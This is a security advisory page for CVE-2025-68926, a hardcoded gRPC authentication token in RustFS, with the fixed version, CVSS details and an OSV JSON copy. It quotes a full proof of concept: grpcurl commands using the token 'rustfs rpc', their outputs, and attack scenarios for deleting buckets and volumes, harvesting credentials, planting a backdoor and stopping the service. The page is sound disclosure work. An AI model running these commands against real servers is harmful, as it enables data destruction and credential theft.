CVE-2025-68926: Rustfs Authentication Bypass Vulnerability

CRITICAL
Advisory Identifier: GHSA-h956-rh7x-ppgj
CVSS 9.8
CWE-798 CWE-287
Published
Advisory Summary

CVE-2025-68926 is a CRITICAL (CVSS 9.8) authentication bypass vulnerability (CWE-798: Use of Hard-coded Credentials) affecting Rustfs libraries in the crates.io ecosystem. The issue involves rustfs has a grpc hardcoded token authentication bypass. Remediation is available by upgrading affected packages to version 1.0.0-alpha.78.

CVE-2025-68926 at a Glance

CVE Identifier CVE-2025-68926
GHSA Identifier GHSA-h956-rh7x-ppgj
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-798: Use of Hard-coded Credentials
Affected Product Rustfs
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-68926

To remediate this vulnerability, upgrade all affected Rustfs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rustfs fixed: 1.0.0-alpha.78
Upgrade rustfs to 1.0.0-alpha.78
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for rustfs

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-68926, inspect your project dependencies for Rustfs:

inspect dependencies for rustfs

Analyze the terminal output to locate any version of Rustfs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-alpha.78), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-798: Use of Hard-coded Credentials, where the product contains hard-coded credentials, such as a password or cryptographic key. In Rustfs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Vulnerability Overview ### Description RustFS implements gRPC authentication using a hardcoded static token `"rustfs rpc"` that is: 1. **Publicly exposed** in the source code repository 2. **Hardcoded** on both client and server sides 3. **Non-configurable** with no mechanism for token rotation 4. **Universally valid** across all RustFS deployments Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes. ### CVSS 3.1 Score **Score**: 9.8 (Critical) **Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` - **Attack Vector (AV)**: Network - Exploitable remotely - **Attack Complexity (AC)**: Low - No special conditions required - **Privileges Required (PR)**: None - No authentication needed (bypassed) - **User Interaction (UI)**: None - Fully automated exploitation - **Scope (S)**: Unchanged - Impact contained to vulnerable component - **Confidentiality (C)**: High - Complete data disclosure - **Integrity (I)**: High - Complete data modification capability - **Availability (A)**: High - Complete service disruption capability --- ## Vulnerable Code Analysis ### Server-Side Authentication (rustfs/src/server/http.rs:679-686) ```rust #[allow(clippy::result_large_err)] fn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> { let token: MetadataValue<_> = "rustfs rpc".parse().unwrap(); // ⚠️ HARDCODED! match req.metadata().get("authorization") { Some(t) if token == t => Ok(req), _ => Err(Status::unauthenticated("No valid auth token")), } } ``` **Issues**: - Static token hardcoded as string literal - No configuration mechanism (environment variable, file, etc.) - Token visible in public GitHub repository - Identical across all installations ### Client-Side Authentication (crates/protos/src/lib.rs:153-174) ```rust pub async fn node_service_time_out_client( addr: &String, ) -> Result<NodeServiceClient<...>, Box<dyn Error>> { let token: MetadataValue<_> = "rustfs rpc".parse()?; // ⚠️ SAME HARDCODED TOKEN! // ... Ok(NodeServiceClient::with_interceptor( channel, Box::new(move |mut req: Request<()>| { req.metadata_mut().insert("authorization", token.clone()); Ok(req) }), )) } ``` **Issues**: - Client uses identical hardcoded token - No secure token distribution mechanism - Token cannot be rotated without code changes ### Service Integration (rustfs/src/server/http.rs:520-521) ```rust let rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth); let service = hybrid(s3_service, rpc_service); ``` The `check_auth` interceptor is applied to all gRPC services via `NodeServiceServer::with_interceptor`, protecting **all 50+ gRPC methods** in `node.proto` with the same weak authentication. --- ## Reproduction Steps ### Environment Setup **Test Environment**: - RustFS Server: `localhost:9000` (HTTP + gRPC hybrid service) - RustFS Console: `localhost:9001` - Container: `rustfs/rustfs:latest` (Docker Compose deployment) - Default credentials: `rustfsadmin/rustfsadmin` **Tools Required**: - `grpcurl` v1.9.3+ (gRPC command-line client) - RustFS proto files: `crates/protos/src/node.proto` ### Step 1: Verify Authentication is Enforced **Test 1.1: Request without authentication token** ```bash $ grpcurl -plaintext \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 node_service.NodeService/Ping ``` **Expected Result**: ✅ Authentication failure ``` ERROR: Code: Unauthenticated Message: No valid auth token ``` **Test 1.2: Request with incorrect token** ```bash $ grpcurl -plaintext \ -H 'authorization: wrong-token-12345' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 node_service.NodeService/Ping ``` **Expected Result**: ✅ Authentication failure ``` ERROR: Code: Unauthenticated Message: No valid auth token ``` **Conclusion**: Authentication is properly enforced - unauthorized requests are rejected. --- ### Step 2: Extract Hardcoded Token from Source Code **Public Source Code Analysis**: ```bash $ git clone https://github.com/rustfs/rustfs.git $ cd rustfs $ grep -rn '"rustfs rpc"' --include='*.rs' ``` **Result**: ✅ Token found in public source code ``` rustfs/src/server/http.rs:680: let token: MetadataValue<_> = "rustfs rpc".parse().unwrap(); crates/protos/src/lib.rs:153: let token: MetadataValue<_> = "rustfs rpc".parse()?; ``` **Extracted Token**: `rustfs rpc` --- ### Step 3: Exploit - Authenticate Using Hardcoded Token **Test 3.1: Successful authentication with hardcoded token** ```bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 node_service.NodeService/Ping ``` **Result**: 🔓 **AUTHENTICATION BYPASSED** ```json { "version": "1", "body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==" } ``` **Analysis**: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed. --- ### Step 4: Demonstrate Access to Sensitive Management APIs **Test 4.1: Server Configuration Disclosure** ```bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 node_service.NodeService/ServerInfo ``` **Result**: ✅ **Complete server configuration disclosed** ```json { "success": true, "serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=" } ``` **Analysis**: - Server returned complete configuration including storage paths, endpoint addresses, version info - Binary data contains sensitive internal state (MessagePack encoded) - Information disclosure confirmed **Test 4.2: Disk Information Access** ```bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 node_service.NodeService/DiskInfo ``` **Result**: ✅ **Authenticated request accepted** (business logic error returned, not auth error) ```json { "error": { "code": 36, "errorInfo": "io error can not find disk" } } ``` **Analysis**: - Request passed authentication (error is business logic, not authentication) - Proves attacker has authenticated access to sensitive system information APIs --- ## Impact Analysis ### Affected APIs All 50+ gRPC methods in `node_service.NodeService` are vulnerable: #### 🔴 **CRITICAL Impact - Data Destruction** - `DeleteBucket` - Delete production buckets - `DeleteVolume` - Destroy entire storage volumes - `DeleteUser` - Remove legitimate users - `DeletePolicy` - Remove access control policies - `DeleteServiceAccount` - Remove service accounts #### 🔴 **CRITICAL Impact - Configuration Manipulation** - `ReloadSiteReplicationConfig` - Corrupt cluster replication - `SignalService` - Control service lifecycle - `LoadPolicy` - Modify access control policies - `LoadPolicyMapping` - Alter policy assignments #### 🟠 **HIGH Impact - Unauthorized Data Access/Modification** - `ReadAll` / `ReadAt` - Read arbitrary data - `WriteAll` / `WriteStream` - Inject malicious data - `RenameFile` / `RenameData` - Manipulate file system - `UpdateMetadata` / `WriteMetadata` - Corrupt metadata #### 🟠 **HIGH Impact - Privilege Escalation** - `LoadUser` - Access user credentials - `LoadServiceAccount` - Access service credentials - `LoadGroup` - Access group memberships #### 🟡 **MEDIUM Impact - Information Disclosure** - `ServerInfo` - Server configuration disclosure - `DiskInfo` - Storage configuration disclosure - `GetMetrics` - Performance metrics disclosure - `GetBucketStats` - Bucket statistics disclosure - `LocalStorageInfo` - Storage system information - `ListBucket` - Bucket enumeration #### 🟡 **MEDIUM Impact - Cluster Operations** - `MakeBucket` - Unauthorized bucket creation - `HealBucket` - Trigger repair operations - `BackgroundHealStatus` - Monitor internal operations ### Attack Scenarios #### Scenario 1: Data Destruction ```bash # Enumerate all buckets grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"options": "{}"}' \ localhost:9000 node_service.NodeService/ListBucket # Delete critical production bucket grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"bucket": "production-data"}' \ localhost:9000 node_service.NodeService/DeleteBucket # Delete entire storage volume grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "vol1"}' \ localhost:9000 node_service.NodeService/DeleteVolume ``` **Impact**: Complete data loss, business disruption #### Scenario 2: Credential Harvesting ```bash # Extract user credentials grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"access_key": "admin"}' \ localhost:9000 node_service.NodeService/LoadUser # Extract service account credentials grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"access_key": "service-account"}' \ localhost:9000 node_service.NodeService/LoadServiceAccount # Exfiltrate IAM policies grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"name": "admin-policy"}' \ localhost:9000 node_service.NodeService/LoadPolicy ``` **Impact**: Complete IAM compromise, lateral movement #### Scenario 3: Backdoor Installation ```bash # Inject malicious data into system paths grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \ localhost:9000 node_service.NodeService/WriteAll # Modify system configuration grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \ localhost:9000 node_service.NodeService/WriteMetadata ``` **Impact**: Persistent compromise, further exploitation #### Scenario 4: Cluster Disruption ```bash # Corrupt replication configuration grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{}' \ localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig # Force service restart/shutdown grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"sig": 2}' \ localhost:9000 node_service.NodeService/SignalService ``` **Impact**: Distributed system failure, data inconsistency --- ## Exploitation Preconditions ### Required Conditions ✅ **All conditions typically met in production deployments**: 1. **Network Access**: Attacker can reach gRPC port (9000/TCP) - RustFS binds to `0.0.0.0` by default (all interfaces) - Commonly exposed for distributed node communication 2. **Token Knowledge**: Token is publicly known - Available in public GitHub repository - Identical across all RustFS installations - Cannot be changed without code modification 3. **No Additional Security Controls**: - No mTLS/certificate-based authentication - No IP whitelisting (typically) - No VPN/network segmentation requirements - No rate limiting on authentication attempts ### Attack Complexity **Complexity**: 🟢 **TRIVIAL** - Single `grpcurl` command with hardcoded token - No exploit development required - No timing or race conditions - No target-specific reconnaissance needed - Fully automatable - Works against any RustFS instance **Time to Exploit**: < 1 minute --- ## Security Impact ### Confidentiality Impact: HIGH - **Complete Data Disclosure**: All stored objects readable via `ReadAll`/`ReadAt` - **Credential Exposure**: IAM users, service accounts, policies accessible - **Configuration Disclosure**: Server, storage, cluster configuration leaked - **Metrics Exposure**: Performance and usage metrics accessible ### Integrity Impact: HIGH - **Data Modification**: Arbitrary data injection via `WriteAll`/`WriteStream` - **Metadata Corruption**: File metadata tampering via `WriteMetadata` - **Policy Manipulation**: IAM policies modifiable via `LoadPolicy` - **Configuration Changes**: Cluster replication config alterable ### Availability Impact: HIGH - **Data Destruction**: Buckets/volumes deletable via `DeleteBucket`/`DeleteVolume` - **Service Disruption**: Service controllable via `SignalService` - **Cluster Degradation**: Replication corruption via `ReloadSiteReplicationConfig` - **Resource Exhaustion**: Arbitrary data writes, bucket creation --- ## Compliance & Regulatory Impact ### Standards Violated #### PCI-DSS v4.0 - **Requirement 6.5.3**: Broken authentication - **Requirement 8.2**: Strong authentication required - **Requirement 8.6**: Multi-factor authentication required #### OWASP Top 10 2021 - **A07:2021 - Identification and Authentication Failures** - Use of hard-coded credentials - Missing or ineffective authentication #### CWE (Common Weakness Enumeration) - **CWE-798**: Use of Hard-coded Credentials (Rank: 37/400) - **CWE-1391**: Use of Weak Credentials - **CWE-287**: Improper Authentication #### NIST Cybersecurity Framework - **PR.AC-1**: Access control mechanisms violated - **PR.AC-7**: Authentication mechanisms insufficient #### SOC 2 Type II - **CC6.1**: Logical access controls inadequate - **CC6.6**: Credential management controls missing ### Legal & Business Impact - **Data Breach Notification**: GDPR Art. 33, CCPA §1798.150 - **Regulatory Fines**: GDPR up to €20M or 4% annual revenue - **Customer Trust**: Severe reputational damage - **Service Disruption**: SLA violations, customer compensation - **Incident Response Costs**: Forensics, remediation, legal fees --- ## Proof of Concept ### Automated POC Script **File**: `audit_analysis/poc_cve_2025_008_grpc_token_working.sh` **Usage**: ```bash chmod +x poc_cve_2025_008_grpc_token_working.sh ./poc_cve_2025_008_grpc_token_working.sh [target_host:port] ``` **Default Target**: `localhost:9000` ### POC Features 1. ✅ **Baseline Authentication Testing** - Verifies unauthenticated requests are rejected - Verifies incorrect tokens are rejected 2. ✅ **Exploit Demonstration** - Authenticates using hardcoded token - Calls `Ping` service successfully 3. ✅ **Sensitive API Access** - Accesses `ServerInfo` (configuration disclosure) - Accesses `DiskInfo` (system information) - Demonstrates authenticated access to management APIs 4. ✅ **Detailed Reporting** - Displays vulnerable code locations - Lists all affected APIs (50+ methods) - Provides CVSS scoring and impact analysis - Includes remediation recommendations ### POC Output Summary ``` [PHASE 1] Baseline Testing ✓ Without token: REJECTED (Unauthenticated) ✓ With wrong token: REJECTED (Unauthenticated) [PHASE 2] Exploit ✓ With hardcoded token "rustfs rpc": ACCEPTED ✅ [PHASE 3] Sensitive API Access ✓ ServerInfo: SUCCESS - Configuration disclosed ✓ DiskInfo: SUCCESS - System information accessible [RESULT] VULNERABILITY CONFIRMED ``` ## Acknowledgements We would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.

CVE-2025-68926 Affected Rustfs Versions

1 component(s)
Fixed Versions:
1.0.0-alpha.78
Product / Package Ecosystem Affected Versions Fixed Version
rustfs
crates.io
≥ 1.0.0-alpha.13
< 1.0.0-alpha.78
1.0.0-alpha.78

References

Frequently Asked Questions

What is CVE-2025-68926?
CVE-2025-68926 is a security vulnerability in Rustfs involving RustFS has a gRPC Hardcoded Token Authentication Bypass under CWE-798: Use of Hard-coded Credentials.
Which Rustfs versions are affected?
Affected versions include releases prior to 1.0.0-alpha.78 across affected packages: rustfs.
What version fixes CVE-2025-68926?
Upgrading to 1.0.0-alpha.78 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rustfs affected?
Yes, rustfs is affected in releases prior to 1.0.0-alpha.78. Upgrade your dependency to 1.0.0-alpha.78 or later.
What is the CVSS score of CVE-2025-68926?
CVE-2025-68926 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-68926?
CVE-2025-68926 is classified under CWE-798: Use of Hard-coded Credentials (The product contains hard-coded credentials, such as a password or cryptographic key.).
How can I check crates.io dependencies for CVE-2025-68926?
Run the dependency tree command: 'inspect dependencies for rustfs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h956-rh7x-ppgj",
  "modified" : "2026-01-07T15:22:21Z",
  "published" : "2025-12-30T23:06:15Z",
  "aliases" : [ "CVE-2025-68926" ],
  "summary" : "RustFS has a gRPC Hardcoded Token Authentication Bypass",
  "details" : "## Vulnerability Overview\n\n### Description\n\nRustFS implements gRPC authentication using a hardcoded static token `\"rustfs rpc\"` that is:\n1. **Publicly exposed** in the source code repository\n2. **Hardcoded** on both client and server sides\n3. **Non-configurable** with no mechanism for token rotation\n4. **Universally valid** across all RustFS deployments\n\nAny attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.\n\n### CVSS 3.1 Score\n\n**Score**: 9.8 (Critical)\n**Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n- **Attack Vector (AV)**: Network - Exploitable remotely\n- **Attack Complexity (AC)**: Low - No special conditions required\n- **Privileges Required (PR)**: None - No authentication needed (bypassed)\n- **User Interaction (UI)**: None - Fully automated exploitation\n- **Scope (S)**: Unchanged - Impact contained to vulnerable component\n- **Confidentiality (C)**: High - Complete data disclosure\n- **Integrity (I)**: High - Complete data modification capability\n- **Availability (A)**: High - Complete service disruption capability\n\n---\n\n## Vulnerable Code Analysis\n\n### Server-Side Authentication (rustfs/src/server/http.rs:679-686)\n\n```rust\n#[allow(clippy::result_large_err)]\nfn check_auth(req: Request<()>) -> std::result::Result<Request<()>, Status> {\n    let token: MetadataValue<_> = \"rustfs rpc\".parse().unwrap();  // ⚠️ HARDCODED!\n\n    match req.metadata().get(\"authorization\") {\n        Some(t) if token == t => Ok(req),\n        _ => Err(Status::unauthenticated(\"No valid auth token\")),\n    }\n}\n```\n\n**Issues**:\n- Static token hardcoded as string literal\n- No configuration mechanism (environment variable, file, etc.)\n- Token visible in public GitHub repository\n- Identical across all installations\n\n### Client-Side Authentication (crates/protos/src/lib.rs:153-174)\n\n```rust\npub async fn node_service_time_out_client(\n    addr: &String,\n) -> Result<NodeServiceClient<...>, Box<dyn Error>> {\n    let token: MetadataValue<_> = \"rustfs rpc\".parse()?;  // ⚠️ SAME HARDCODED TOKEN!\n\n    // ...\n\n    Ok(NodeServiceClient::with_interceptor(\n        channel,\n        Box::new(move |mut req: Request<()>| {\n            req.metadata_mut().insert(\"authorization\", token.clone());\n            Ok(req)\n        }),\n    ))\n}\n```\n\n**Issues**:\n- Client uses identical hardcoded token\n- No secure token distribution mechanism\n- Token cannot be rotated without code changes\n\n### Service Integration (rustfs/src/server/http.rs:520-521)\n\n```rust\nlet rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);\nlet service = hybrid(s3_service, rpc_service);\n```\n\nThe `check_auth` interceptor is applied to all gRPC services via `NodeServiceServer::with_interceptor`, protecting **all 50+ gRPC methods** in `node.proto` with the same weak authentication.\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n**Test Environment**:\n- RustFS Server: `localhost:9000` (HTTP + gRPC hybrid service)\n- RustFS Console: `localhost:9001`\n- Container: `rustfs/rustfs:latest` (Docker Compose deployment)\n- Default credentials: `rustfsadmin/rustfsadmin`\n\n**Tools Required**:\n- `grpcurl` v1.9.3+ (gRPC command-line client)\n- RustFS proto files: `crates/protos/src/node.proto`\n\n### Step 1: Verify Authentication is Enforced\n\n**Test 1.1: Request without authentication token**\n\n```bash\n$ grpcurl -plaintext \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: ✅ Authentication failure\n\n```\nERROR:\n  Code: Unauthenticated\n  Message: No valid auth token\n```\n\n**Test 1.2: Request with incorrect token**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: wrong-token-12345' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: ✅ Authentication failure\n\n```\nERROR:\n  Code: Unauthenticated\n  Message: No valid auth token\n```\n\n**Conclusion**: Authentication is properly enforced - unauthorized requests are rejected.\n\n---\n\n### Step 2: Extract Hardcoded Token from Source Code\n\n**Public Source Code Analysis**:\n\n```bash\n$ git clone https://github.com/rustfs/rustfs.git\n$ cd rustfs\n$ grep -rn '\"rustfs rpc\"' --include='*.rs'\n```\n\n**Result**: ✅ Token found in public source code\n\n```\nrustfs/src/server/http.rs:680:    let token: MetadataValue<_> = \"rustfs rpc\".parse().unwrap();\ncrates/protos/src/lib.rs:153:    let token: MetadataValue<_> = \"rustfs rpc\".parse()?;\n```\n\n**Extracted Token**: `rustfs rpc`\n\n---\n\n### Step 3: Exploit - Authenticate Using Hardcoded Token\n\n**Test 3.1: Successful authentication with hardcoded token**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: rustfs rpc' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/Ping\n```\n\n**Result**: 🔓 **AUTHENTICATION BYPASSED**\n\n```json\n{\n  \"version\": \"1\",\n  \"body\": \"DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==\"\n}\n```\n\n**Analysis**: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.\n\n---\n\n### Step 4: Demonstrate Access to Sensitive Management APIs\n\n**Test 4.1: Server Configuration Disclosure**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: rustfs rpc' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/ServerInfo\n```\n\n**Result**: ✅ **Complete server configuration disclosed**\n\n```json\n{\n  \"success\": true,\n  \"serverProperties\": \"n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=\"\n}\n```\n\n**Analysis**:\n- Server returned complete configuration including storage paths, endpoint addresses, version info\n- Binary data contains sensitive internal state (MessagePack encoded)\n- Information disclosure confirmed\n\n**Test 4.2: Disk Information Access**\n\n```bash\n$ grpcurl -plaintext \\\n    -H 'authorization: rustfs rpc' \\\n    -import-path /private/tmp/rustfs/crates/protos/src \\\n    -proto node.proto \\\n    -d '{}' \\\n    localhost:9000 node_service.NodeService/DiskInfo\n```\n\n**Result**: ✅ **Authenticated request accepted** (business logic error returned, not auth error)\n\n```json\n{\n  \"error\": {\n    \"code\": 36,\n    \"errorInfo\": \"io error can not find disk\"\n  }\n}\n```\n\n**Analysis**:\n- Request passed authentication (error is business logic, not authentication)\n- Proves attacker has authenticated access to sensitive system information APIs\n\n---\n\n## Impact Analysis\n\n### Affected APIs\n\nAll 50+ gRPC methods in `node_service.NodeService` are vulnerable:\n\n#### 🔴 **CRITICAL Impact - Data Destruction**\n- `DeleteBucket` - Delete production buckets\n- `DeleteVolume` - Destroy entire storage volumes\n- `DeleteUser` - Remove legitimate users\n- `DeletePolicy` - Remove access control policies\n- `DeleteServiceAccount` - Remove service accounts\n\n#### 🔴 **CRITICAL Impact - Configuration Manipulation**\n- `ReloadSiteReplicationConfig` - Corrupt cluster replication\n- `SignalService` - Control service lifecycle\n- `LoadPolicy` - Modify access control policies\n- `LoadPolicyMapping` - Alter policy assignments\n\n#### 🟠 **HIGH Impact - Unauthorized Data Access/Modification**\n- `ReadAll` / `ReadAt` - Read arbitrary data\n- `WriteAll` / `WriteStream` - Inject malicious data\n- `RenameFile` / `RenameData` - Manipulate file system\n- `UpdateMetadata` / `WriteMetadata` - Corrupt metadata\n\n#### 🟠 **HIGH Impact - Privilege Escalation**\n- `LoadUser` - Access user credentials\n- `LoadServiceAccount` - Access service credentials\n- `LoadGroup` - Access group memberships\n\n#### 🟡 **MEDIUM Impact - Information Disclosure**\n- `ServerInfo` - Server configuration disclosure\n- `DiskInfo` - Storage configuration disclosure\n- `GetMetrics` - Performance metrics disclosure\n- `GetBucketStats` - Bucket statistics disclosure\n- `LocalStorageInfo` - Storage system information\n- `ListBucket` - Bucket enumeration\n\n#### 🟡 **MEDIUM Impact - Cluster Operations**\n- `MakeBucket` - Unauthorized bucket creation\n- `HealBucket` - Trigger repair operations\n- `BackgroundHealStatus` - Monitor internal operations\n\n### Attack Scenarios\n\n#### Scenario 1: Data Destruction\n\n```bash\n# Enumerate all buckets\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"options\": \"{}\"}' \\\n  localhost:9000 node_service.NodeService/ListBucket\n\n# Delete critical production bucket\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"bucket\": \"production-data\"}' \\\n  localhost:9000 node_service.NodeService/DeleteBucket\n\n# Delete entire storage volume\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"volume\": \"vol1\"}' \\\n  localhost:9000 node_service.NodeService/DeleteVolume\n```\n\n**Impact**: Complete data loss, business disruption\n\n#### Scenario 2: Credential Harvesting\n\n```bash\n# Extract user credentials\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"access_key\": \"admin\"}' \\\n  localhost:9000 node_service.NodeService/LoadUser\n\n# Extract service account credentials\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"access_key\": \"service-account\"}' \\\n  localhost:9000 node_service.NodeService/LoadServiceAccount\n\n# Exfiltrate IAM policies\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"name\": \"admin-policy\"}' \\\n  localhost:9000 node_service.NodeService/LoadPolicy\n```\n\n**Impact**: Complete IAM compromise, lateral movement\n\n#### Scenario 3: Backdoor Installation\n\n```bash\n# Inject malicious data into system paths\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"volume\": \"config\", \"path\": \"backdoor.sh\", \"buf\": \"...\"}' \\\n  localhost:9000 node_service.NodeService/WriteAll\n\n# Modify system configuration\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{\"bucket\": \"system\", \"path\": \".rustfs.sys/config.json\", \"fi\": \"...\"}' \\\n  localhost:9000 node_service.NodeService/WriteMetadata\n```\n\n**Impact**: Persistent compromise, further exploitation\n\n#### Scenario 4: Cluster Disruption\n\n```bash\n# Corrupt replication configuration\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  -d '{}' \\\n  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig\n\n# Force service restart/shutdown\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n  